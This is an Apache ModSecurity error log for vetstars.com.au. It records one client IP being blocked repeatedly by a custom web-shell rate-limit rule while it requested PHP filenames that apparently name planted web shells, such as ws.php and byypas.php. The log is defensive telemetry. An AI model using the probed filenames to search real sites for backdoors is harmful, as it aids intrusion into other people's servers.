[Sun Apr 12 08:28:33.971075 2026] [:error] [pid 60280:tid 60287] [client 4.232.184.116:11217] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adrnMXBlLnDOYuIykkgjzwAAAcU"]
[Sun Apr 12 08:28:35.777163 2026] [:error] [pid 26567:tid 26570] [client 4.232.184.116:11146] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adrnM3hRpg6ptWFyFx0vCwAAAQE"]
[Sun Apr 12 08:28:37.354842 2026] [:error] [pid 26567:tid 26580] [client 4.232.184.116:11184] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adrnNXhRpg6ptWFyFx0vFAAAAQs"]
[Sun Apr 12 08:28:38.055501 2026] [:error] [pid 25437:tid 25452] [client 4.232.184.116:11161] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adrnNnf97wYZje1ep_N_lgAAAM0"]
[Sun Apr 12 08:28:38.625485 2026] [:error] [pid 26567:tid 26575] [client 4.232.184.116:11177] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adrnNnhRpg6ptWFyFx0vFwAAAQY"]
[Sun Apr 12 08:28:39.336557 2026] [:error] [pid 25437:tid 25444] [client 4.232.184.116:11047] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adrnN3f97wYZje1ep_N_mwAAAMU"]
[Sun Apr 12 08:28:40.743213 2026] [:error] [pid 60280:tid 60288] [client 4.232.184.116:11121] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adrnOHBlLnDOYuIykkgj3QAAAcY"]
[Sun Apr 12 08:28:41.867055 2026] [:error] [pid 25328:tid 25389] [client 4.232.184.116:11237] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adrnOcxUaQZxT-e0YsAkvgAAAFA"]
[Sun Apr 12 08:28:42.977000 2026] [:error] [pid 25329:tid 25386] [client 4.232.184.116:11197] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adrnOmdcIYsS8Iyaj11fIAAAAIY"]
[Sun Apr 12 08:28:47.831508 2026] [:error] [pid 25327:tid 25339] [client 4.232.184.116:11241] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adrnPy6h2tZEVJo9JFJqAAAAAAM"]
[Sun Apr 12 08:28:49.655299 2026] [:error] [pid 26600:tid 26635] [client 4.232.184.116:11209] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adrnQe1YwAZiXhQKLYqe8QAAAYY"]
[Sun Apr 12 08:28:51.426401 2026] [:error] [pid 60280:tid 60301] [client 4.232.184.116:11160] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adrnQ3BlLnDOYuIykkgj6gAAAdM"]
[Sun Apr 12 08:28:52.732580 2026] [:error] [pid 26567:tid 26583] [client 4.232.184.116:11218] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adrnRHhRpg6ptWFyFx0vOwAAAQ4"]
[Sun Apr 12 08:28:53.880506 2026] [:error] [pid 26567:tid 26577] [client 4.232.184.116:11096] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adrnRXhRpg6ptWFyFx0vQgAAAQg"]
[Sun Apr 12 08:28:54.792071 2026] [:error] [pid 26600:tid 26631] [client 4.232.184.116:11118] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adrnRu1YwAZiXhQKLYqe-AAAAYI"]
[Sun Apr 12 08:28:56.431196 2026] [:error] [pid 26599:tid 26602] [client 4.232.184.116:11246] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adrnSHG89LXoQbk_rwB0iwAAAUA"]
[Sun Apr 12 08:28:57.955017 2026] [:error] [pid 26599:tid 26623] [client 4.232.184.116:11176] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adrnSXG89LXoQbk_rwB0jQAAAVU"]
[Sun Apr 12 08:28:59.042027 2026] [:error] [pid 25437:tid 25443] [client 4.232.184.116:11040] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adrnS3f97wYZje1ep_N_ywAAAMQ"]
[Sun Apr 12 08:29:01.963310 2026] [:error] [pid 26567:tid 26589] [client 4.232.184.116:10968] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adrnTXhRpg6ptWFyFx0vUgAAARQ"]
[Sun Apr 12 08:29:03.789745 2026] [:error] [pid 26600:tid 26629] [client 4.232.184.116:11084] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adrnT-1YwAZiXhQKLYqfCAAAAYA"]
[Sun Apr 12 08:29:05.302069 2026] [:error] [pid 25437:tid 25448] [client 4.232.184.116:11142] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adrnUXf97wYZje1ep_N_4QAAAMk"]
[Sun Apr 12 08:29:05.795978 2026] [:error] [pid 25437:tid 25446] [client 4.232.184.116:11024] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adrnUXf97wYZje1ep_N_4gAAAMc"]
[Sun Apr 12 08:29:06.437454 2026] [:error] [pid 26600:tid 26653] [client 4.232.184.116:11081] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adrnUu1YwAZiXhQKLYqfDAAAAZg"]
[Sun Apr 12 08:29:06.963476 2026] [:error] [pid 25328:tid 25385] [client 4.232.184.116:11071] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adrnUsxUaQZxT-e0YsAk0AAAAE4"]
[Sun Apr 12 08:29:07.541033 2026] [:error] [pid 26599:tid 26606] [client 4.232.184.116:11154] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adrnU3G89LXoQbk_rwB0oQAAAUQ"]
[Sun Apr 12 08:29:08.083822 2026] [:error] [pid 25437:tid 25458] [client 4.232.184.116:11137] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adrnVHf97wYZje1ep_N_6wAAANM"]
[Sun Apr 12 08:29:08.687098 2026] [:error] [pid 25327:tid 25355] [client 4.232.184.116:11115] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adrnVC6h2tZEVJo9JFJqEwAAABM"]
[Sun Apr 12 08:29:09.331994 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11163] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adrnVXf97wYZje1ep_N_7QAAANY"]
[Sun Apr 12 08:29:09.955979 2026] [:error] [pid 25437:tid 25449] [client 4.232.184.116:11133] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adrnVXf97wYZje1ep_N_8QAAAMo"]
[Sun Apr 12 08:29:10.519848 2026] [:error] [pid 25437:tid 25456] [client 4.232.184.116:11138] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adrnVnf97wYZje1ep_N_9gAAANE"]
[Sun Apr 12 08:29:11.692918 2026] [:error] [pid 26567:tid 26576] [client 4.232.184.116:11104] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adrnV3hRpg6ptWFyFx0vWwAAAQc"]
[Sun Apr 12 08:29:12.838375 2026] [:error] [pid 26600:tid 26635] [client 4.232.184.116:11193] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adrnWO1YwAZiXhQKLYqfFAAAAYY"]
[Sun Apr 12 08:29:13.610725 2026] [:error] [pid 25329:tid 25392] [client 4.232.184.116:11178] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adrnWWdcIYsS8Iyaj11fMwAAAIk"]
[Sun Apr 12 08:29:14.901511 2026] [:error] [pid 26599:tid 26612] [client 4.232.184.116:11227] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "adrnWnG89LXoQbk_rwB0rgAAAUo"]
[Sun Apr 12 08:29:15.828874 2026] [:error] [pid 25437:tid 25447] [client 4.232.184.116:11085] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "adrnW3f97wYZje1ep_OABQAAAMg"]
[Sun Apr 12 08:29:17.263342 2026] [:error] [pid 25327:tid 25351] [client 4.232.184.116:11042] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "adrnXS6h2tZEVJo9JFJqFQAAAA8"]
[Sun Apr 12 08:29:18.999628 2026] [:error] [pid 25329:tid 25393] [client 4.232.184.116:11107] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "adrnXmdcIYsS8Iyaj11fNQAAAIo"]
[Sun Apr 12 08:29:20.670286 2026] [:error] [pid 25437:tid 25441] [client 4.232.184.116:11148] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "adrnYHf97wYZje1ep_OAGwAAAMI"]
[Sun Apr 12 08:29:22.211070 2026] [:error] [pid 25329:tid 25409] [client 4.232.184.116:11057] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "adrnYmdcIYsS8Iyaj11fPQAAAJM"]
[Sun Apr 12 08:29:24.031866 2026] [:error] [pid 25329:tid 25376] [client 4.232.184.116:11031] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "adrnZGdcIYsS8Iyaj11fRAAAAIE"]
[Sun Apr 12 08:29:25.793414 2026] [:error] [pid 60280:tid 60304] [client 4.232.184.116:11092] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "adrnZXBlLnDOYuIykkgkAgAAAdY"]
[Sun Apr 12 08:29:27.904115 2026] [:error] [pid 25327:tid 25336] [client 4.232.184.116:11164] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adrnZy6h2tZEVJo9JFJqKQAAAAA"]
[Sun Apr 12 08:29:31.317526 2026] [:error] [pid 26600:tid 26633] [client 4.232.184.116:11189] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adrna-1YwAZiXhQKLYqfMAAAAYQ"]
[Sun Apr 12 08:29:32.134073 2026] [:error] [pid 26599:tid 26614] [client 4.232.184.116:11017] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adrnbHG89LXoQbk_rwB0tgAAAUw"]
[Sun Apr 12 08:29:33.933884 2026] [:error] [pid 26567:tid 26590] [client 4.232.184.116:11108] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adrnbXhRpg6ptWFyFx0vcwAAARU"]
[Sun Apr 12 08:29:35.849474 2026] [:error] [pid 26600:tid 26638] [client 4.232.184.116:11089] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adrnb-1YwAZiXhQKLYqfMQAAAYk"]
[Sun Apr 12 08:29:37.110059 2026] [:error] [pid 26599:tid 26619] [client 4.232.184.116:11110] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adrncXG89LXoQbk_rwB0uQAAAVE"]
[Sun Apr 12 08:29:38.130060 2026] [:error] [pid 25437:tid 25456] [client 4.232.184.116:11252] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adrncnf97wYZje1ep_OATQAAANE"]
[Sun Apr 12 08:29:39.886956 2026] [:error] [pid 25327:tid 25357] [client 4.232.184.116:11179] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adrncy6h2tZEVJo9JFJqNAAAABU"]
[Sun Apr 12 08:29:41.118663 2026] [:error] [pid 26599:tid 26612] [client 4.232.184.116:11235] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "adrndXG89LXoQbk_rwB0vAAAAUo"]
[Sun Apr 12 08:29:41.893117 2026] [:error] [pid 25327:tid 25339] [client 4.232.184.116:11192] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "adrndS6h2tZEVJo9JFJqRAAAAAM"]
[Sun Apr 12 08:29:42.519382 2026] [:error] [pid 25327:tid 25352] [client 4.232.184.116:11019] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "adrndi6h2tZEVJo9JFJqRQAAABA"]
[Sun Apr 12 08:29:43.940467 2026] [:error] [pid 26567:tid 26582] [client 4.232.184.116:11017] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "adrnd3hRpg6ptWFyFx0vegAAAQ0"]
[Sun Apr 12 08:29:44.542334 2026] [:error] [pid 26567:tid 26569] [client 4.232.184.116:11262] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "adrneHhRpg6ptWFyFx0vfQAAAQA"]
[Sun Apr 12 08:29:45.421707 2026] [:error] [pid 25327:tid 25357] [client 4.232.184.116:11010] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "adrneS6h2tZEVJo9JFJqTAAAABU"]
[Sun Apr 12 08:29:52.016741 2026] [:error] [pid 26600:tid 26652] [client 4.232.184.116:11061] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adrngO1YwAZiXhQKLYqfmgAAAZc"]
